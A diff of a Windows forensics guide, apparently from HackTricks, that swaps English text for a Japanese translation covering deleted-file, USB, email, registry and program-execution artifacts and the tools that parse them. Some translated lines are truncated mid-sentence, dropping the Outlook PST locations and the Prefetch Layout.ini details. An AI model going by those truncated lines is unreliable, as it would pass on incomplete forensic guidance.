+ダウンロードされたファイルには、イントラネット、インターネットなどからの**ダウンロード方法**を示す**ADS Zone.Identifier**が含まれている場合があります。一部のソフトウェア(ブラウザなど)は、ファイルのダウンロード元の**URL**などの**さらなる情報**を通常含んでいます。 -## **File Backups** +## **ファイルのバックアップ** -### Recycle Bin +### ゴミ箱 -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10では、**ゴミ箱**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。 +このフォルダでファイルが削除されると、2つの特定のファイルが作成されます: -* `$I{id}`: File information (date of when it was deleted} -* `$R{id}`: Content of the file +* `$I{id}`:ファイル情報(削除された日付) +* `$R{id}`:ファイルの内容 ![](<../../../.gitbook/assets/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できます(Vista - Win10の場合は`rifiuti-vista.exe`を使用します)。 ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### ボリュームシャドウコピー -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +シャドウコピーは、使用中のコンピュータファイルやボリュームの**バックアップコピー**またはスナップショットを作成できるMicrosoft Windowsに含まれる技術です。 -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +これらのバックアップは通常、ファイルシステムのルートの`\System Volume Information`にあり、次の画像に示すような**UID**で構成された名前です。 ![](<../../../.gitbook/assets/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。 ![](<../../../.gitbook/assets/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています。 ![](<../../../.gitbook/assets/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。 -### Office AutoSaved Files +### オフィスの自動保存ファイル -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +オフィスの自動保存ファイルは、次の場所にあります:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## シェルアイテム -A shell item is an item that contains information about how to access another file. +シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。 -### Recent Documents (LNK) +### 最近のドキュメント(LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windowsは、ユーザーがファイルを**開いたり使用したり作成したりする**ときに、これらの**ショートカット**を**自動的に作成**します。 -* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +* Win7-Win10:`C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` +* Office:`C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +フォルダが作成されると、そのフォルダへのリンク、親フォルダへのリンク、および祖父フォルダへのリンクも作成されます。 -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +これらの自動作成されたリンクファイルには、**ファイル**または**フォルダ**であるか、そのファイルの**MACタイム**、ファイルが保存されている**ボリューム情報**、および**ターゲットファイルのフォルダ**に関する情報が含まれています。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。 -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +また、リンクファイルの**作成日**は、元のファイルが**最初に使用された時間**であり、リンクファイルの**変更日**は、元のファイルが最後に使用された**時間**です。 -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。 -In this tools you will find **2 sets** of timestamps: +このツールでは、**2つのセット**のタイムスタンプが見つかります: -* **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -* **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +* **最初のセット:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +* **2番目のセット:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +最初のセットのタイムスタンプは、**ファイル自体のタイムスタンプ**を参照します。2番目のセットは、**リンクされたファイルのタイムスタンプ**を参照します。 +同じ情報を取得するには、WindowsのCLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行できます。 ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +この場合、情報はCSVファイルに保存されます。 -In this case, the information is going to be saved inside a CSV file. +### ジャンプリスト -### Jumplists +これは、アプリケーションごとに示される最近使用されたファイルのリストです。各アプリケーションでアクセスできる**アプリケーションが使用した最近のファイル**のリストです。これらは**自動的に作成されるか、カスタムで作成**されることがあります。 -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +自動的に作成される**ジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式に従って名前が付けられます。 -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これは、ファイルに何か**重要なことが起こった**場合に行われることがあります(お気に入りとしてマークされたかもしれません)。 -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +ジャンプリストの**作成時刻**は、ファイルが**最初にアクセスされた時刻**を示し、**変更時刻**は最後のアクセス時刻を示します。 -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査することができます。 ![](<../../../.gitbook/assets/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_) -### Shellbags +### シェルバッグ -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**シェルバッグについては、こちらのリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBの使用 -It's possible to identify that a USB device was used thanks to the creation of: +USBデバイスが使用されたことを特定することができます。その証拠として以下が作成されます。 -* Windows Recent Folder -* Microsoft Office Recent Folder -* Jumplists +* Windowsの最近のフォルダ +* Microsoft Officeの最近のフォルダ +* ジャンプリスト -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +注意:一部のLNKファイルは、元のパスの代わりにWPDNSEフォルダを指す場合があります。 ![](<../../../.gitbook/assets/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +フォルダWPDNSE内のファイルは、元のファイルのコピーです。したがって、PCを再起動するとファイルは残りません。GUIDはシェルバッグから取得されます。 -### Registry Information +### レジストリ情報 -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +USB接続デバイスに関する興味深い情報が含まれているレジストリキーは、[こちらのページを参照してください。](interesting-windows-registry-keys.md#usb-information) ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認します(`Section start`を検索)。 -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com)を使用すると、イメージに接続されたUSBデバイスに関する情報を取得できます。 ![](<../../../.gitbook/assets/image (483).png>) -### Plug and Play Cleanup +### プラグアンドプレイのクリーンアップ -The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**. +「プラグアンドプレイのクリーンアップ」というスケジュールされたタスクは、古いバージョンのドライバを**クリア**する責任を持っています。オンラインの報告に基づくと、「各ドライバパッケージの最新バージョンが保持される」と説明されているにもかかわらず、30日間使用されていないドライバも削除されるようです。したがって、30日間接続されていないリムーバブルデバイスのドライバが削除される可能性があります。 -The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: +スケジュールされたタスク自体は、`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`にあり、その内容は以下の通りです: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during the emergency Automatic maintenance. **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** +タスクは、クリーンアップのアクティビティを実行する`pnpclean.dll`を参照しています。また、`UseUnifiedSchedulingEngine`フィールドが`TRUE`に設定されていることがわかります。これは、ジェネリックなタスクスケジューリングエンジンがタスクを管理するために使用されることを指定しています。`MaintenanceSettings`内の`Period`と`Deadline`の値が'P1M'と'P2M'であるため、タスクスケジューラは通常の自動メンテナンス中に1か月に1回タスクを実行し、2か月連続で失敗した場合は緊急の自動メンテナンス中にタスクを実行し始めます。**このセクションは**[**こちらからコピーされました**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**。** -## Emails +## メール -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +メールには、**ヘッダー**とメールの**コンテンツ**の2つの興味深い部分が含まれています。**ヘッダー**には、次のような情報が含まれています。 -* **Who** sent the emails (email address, IP, mail servers that have redirected the email) -* **When** was the email sent +* メールを送信した**誰**(メールアドレス、IP、メールをリダイレクトしたメールサーバー) +* メールが送信された**時刻** -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +また、`References`と`In-Reply-To`ヘッダーの中には、メッセージのIDが含まれています。 ![](<../../../.gitbook/assets/image (484).png>) -### Windows Mail App +### Windowsメールアプリ -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +このアプリケーションは、メールをHTMLまたはテキスト形式で保存します。メールは、`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダに保存されます。メールは`.dat`拡張子で保存されます。 -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. +ファイルの拡張子を`.vol`から`.edb`に変更し、ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。`Message`テーブルの中にメールが表示されます。 ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +ExchangeサーバーやOutlookクライアントを使用する場合、いくつかのMAPIヘッダーが表示されます。 -* `Mapi-Client-Submit-Time`: Time of the system when the email was sent -* `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -* `Mapi-Entry-ID`: Message identifier. -* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) - -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: - -* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. - -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). - -![](<../../../.gitbook/assets/image (485).png>) +* `Mapi-Client-Submit-Time`:メールが送信されたシステムの時刻 +* `Mapi-Conversation-Index`:スレッドの子メッセージの数と各メッセージのタイムスタンプ +* `Mapi-Entry-ID`:メッセージの識別子 +* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`:MAPIクライアントに関する情報(メッセージを読んだ?読まない?返信済み?リダイレクト済み?外出中?) +Microsoft Outlookクライアントでは、送受信したメッセージ、連絡先データ、カレンダーデータは、 ### Outlook OST -When Microsoft Outlook is configured **using** **IMAP** or using an **Exchange** server, it generates an **OST** file that stores almost the same info as the PST file. It keeps the file synchronized with the server for the **last 12 months**, with a **max file-size of 50GB** and in the **same folder as the PST** file is saved. You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). +Microsoft Outlookが**IMAP**または**Exchange**サーバーを使用して設定されている場合、ほぼ同じ情報を保存する**OST**ファイルが生成されます。このファイルは、**最後の12ヶ月間**サーバーと同期され、**最大ファイルサイズは50GB**で、**PST**ファイルと同じフォルダに保存されます。[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を使用してこのファイルを検査することができます。 -### Recovering Attachments +### 添付ファイルの回復 -You may be able to find them in the folder: +これらのファイルは次のフォルダに見つけることができるかもしれません: * `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 * `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ ### Thunderbird MBOX -**Thunderbird** stores the information in **MBOX** **files** in the folder `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` +**Thunderbird**は、**MBOX**ファイルに情報を保存します。これらのファイルは、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`フォルダに保存されます。 -## Thumbnails +## サムネイル -When a user accesses a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted. In WinXP and Win 8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via a UNC path (\IP\folder...). +ユーザーがフォルダにアクセスし、サムネイルを使用して整理すると、`thumbs.db`ファイルが作成されます。このdbは、削除された場合でも、フォルダの画像のサムネイルを保存します。WinXPおよびWin 8-8.1では、このファイルは自動的に作成されます。Win7/Win10では、UNCパス(\IP\folder...)経由でアクセスされる場合に自動的に作成されます。 -It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io). +ツール[**Thumbsviewer**](https://thumbsviewer.github.io)を使用してこのファイルを読み取ることができます。 ### Thumbcache -Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as several files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. +Windows Vista以降、**サムネイルプレビューはシステム上の集中的な場所に保存**されます。これにより、サムネイルの場所に関する問題が解決され、Thumbs.dbファイルの局所性の問題が解決されます。キャッシュは、**`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`**にいくつかのファイルとして保存されます。これらのファイルには、サイズごとに番号付けされた**thumbcache\_xxx.db**というラベルが付いています。 -* Thumbcache\_32.db -> small -* Thumbcache\_96.db -> medium -* Thumbcache\_256.db -> large -* Thumbcache\_1024.db -> extra large +* Thumbcache\_32.db -> 小 +* Thumbcache\_96.db -> 中 +* Thumbcache\_256.db -> 大 +* Thumbcache\_1024.db -> 特大 -You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io). +ツール[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)を使用してこのファイルを読み取ることができます。 -## Windows Registry +## Windowsレジストリ -The Windows Registry Contains a lot of **information** about the **system and the actions of the users**. +Windowsレジストリには、**システムとユーザーのアクションに関する多くの情報**が含まれています。 -The files containing the registry are located in: +レジストリを含むファイルは次の場所にあります: * %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE` * %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE` @@ -258,266 +244,241 @@ The files containing the registry are located in: * %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE` * %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER` -From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**. +Windows VistaおよびWindows 2008 Server以降では、`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップが**`%Windir%\System32\Config\RegBack\`**にあります。 -Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions. +また、これらのバージョンからは、レジストリファイル**`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`**が作成され、プログラムの実行に関する情報が保存されます。 -### Tools +### ツール -Some tools are useful to analyze the registry files: +いくつかのツールがレジストリファイルの解析に役立ちます: -* **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +* **レジストリエディタ**:Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 +* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでそれらをナビゲートすることができます。興味深い情報を持つキーをハイライトするブックマークも含まれています。 +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0):再び、ロードされたレジストリをナビゲートすることができるGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。 +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出することができる別のGUIアプリケーションです。 -### Recovering Deleted Element +### 削除された要素の回復 -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +キーが削除されると、それが削除されたことがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することができます。 -### Last Write Time +### 最終更新時刻 -Each Key-Value contains a **timestamp** indicating the last time it was modified. +各キーと値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。 ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users`には、ユーザー名、RID、最終ログイン、最後の失敗したログオン、ログインカウンター、パスワードポリシー、アカウントの作成日などが含まれています。ハッシュを取得するには、ファイル/ハイブ**SYSTEM**も必要です。 -### Interesting entries in the Windows Registry +### Windowsレジストリの興味深いエントリ {% content-ref url="interesting-windows-registry-keys.md" %} [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) {% endcontent-ref %} -## Programs Executed +## 実行されたプログラム -### Basic Windows Processes +### 基本的なWindowsプロセス -On the following page you can learn about the basic Windows processes to detect suspicious behaviours: +次のページでは、疑わしい動作を検出するための基本的なWindowsプロセスについて学ぶことができます: {% content-ref url="windows-processes.md" %} [windows-processes.md](windows-processes.md) {% endcontent-ref %} -### Windows Recent APPs +### Windows最近のアプリ -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +レジストリの`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最後に実行された時間**、**実行回数**に関する情報が含まれているサブキーがあります。 -### BAM (Background Activity Moderator) +### BAM(Background Activity Moderator) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`の中には、**各ユーザーが実行したアプリケーション**の情報があります(パス内の`{SID}`に注意してください)。また、**実行された時間**もレジストリのData値の中にあります。 ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +プリフェッチは、コンピュータがユーザーが**近い将来アクセスする可能性のあるコンテンツ**を表示するために必要なリソースを静かに**取得する**技術であり、リソースにより速くアクセスできるようにします。 -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windowsプリフェッチは、実行されたプログラムのキャッシュを作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`パス内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。 -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. - -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +ファイル名は`{program_name}-{hash}.pf`として作成されます(ハッシュは実行可能ファイルのパスと引数に基づいています)。W10では、これらのファイルは圧縮されます。ファイルの存在のみで、**プログラムが実行された**ことを示しています。 +ファイル`C:\Windows\ ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../.gitbook/assets/image (487).png>) -### Superprefetch +### スーパープリフェッチ -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**スーパープリフェッチ**は、プリフェッチと同じ目的を持ち、次に読み込まれるものを予測して**プログラムの読み込みを高速化**します。ただし、プリフェッチサービスを置き換えるものではありません。\ +このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および**タイムスタンプ**が含まれています。 -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)というツールを使用してアクセスできます。 ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**システムリソース使用モニター**(SRUM)は、**プロセスが消費するリソース**を**監視**します。これはW8に登場し、データは`C:\Windows\System32\sru\SRUDB.dat`にあるESEデータベースに保存されます。 -It gives the following information: +次の情報を提供します: -* AppID and Path -* User that executed the process -* Sent Bytes -* Received Bytes -* Network Interface -* Connection duration -* Process duration +* AppIDとパス +* プロセスを実行したユーザー +* 送信バイト数 +* 受信バイト数 +* ネットワークインターフェース +* 接続の期間 +* プロセスの期間 -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). +この情報は60分ごとに更新されます。 +このファイルからデータを取得するには、[**srum\_dump**](https://github.com/MarkBaggett/srum-dump)というツールを使用できます。 ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` +### AppCompatCache(ShimCache) -### AppCompatCache (ShimCache) +**Shimcache**、または**AppCompatCache**は、**Microsoft**によって作成され、オペレーティングシステムがアプリケーションの互換性の問題を特定するために使用する**Application Compatibility Database**のコンポーネントです。 -**Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues. +キャッシュは、オペレーティングシステムによって異なるファイルのメタデータを保存します。以下の情報が含まれます。 -The cache stores various file metadata depending on the operating system, such as: +- ファイルの完全なパス +- ファイルサイズ +- **$Standard\_Information**(SI)の最終更新時刻 +- ShimCacheの最終更新時刻 +- プロセスの実行フラグ -* File Full Path -* File Size -* **$Standard\_Information** (SI) Last Modified time -* ShimCache Last Updated time -* Process Execution Flag +この情報は、レジストリ内の次の場所にあります。 -This information can be found in the registry in: +- `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` +- XP(96エントリ) +- `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` +- Server 2003(512エントリ) +- 2008/2012/2016 Win7/Win8/Win10(1024エントリ) -* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` - * XP (96 entries) -* `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` - * Server 2003 (512 entries) - * 2008/2012/2016 Win7/Win8/Win10 (1024 entries) - -You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) to parse this information. +この情報を解析するために、[**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser)ツールを使用できます。 ![](<../../../.gitbook/assets/image (488).png>) ### Amcache -The **Amcache.hve** file is a registry file that stores the information of executed applications. It's located in `C:\Windows\AppCompat\Programas\Amcache.hve` +**Amcache.hve**ファイルは、実行されたアプリケーションの情報を保存するレジストリファイルです。場所は`C:\Windows\AppCompat\Programas\Amcache.hve`です。 -**Amcache.hve** records the recent processes that were run and list the path of the files that are executed which can then be used to find the executed program. It also records the SHA1 of the program. - -You can parse this information with the tool [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) +**Amcache.hve**は、実行されたプロセスの最近の履歴を記録し、実行されたプログラムを見つけるために使用されるファイルのパスをリストアップします。また、プログラムのSHA1も記録します。 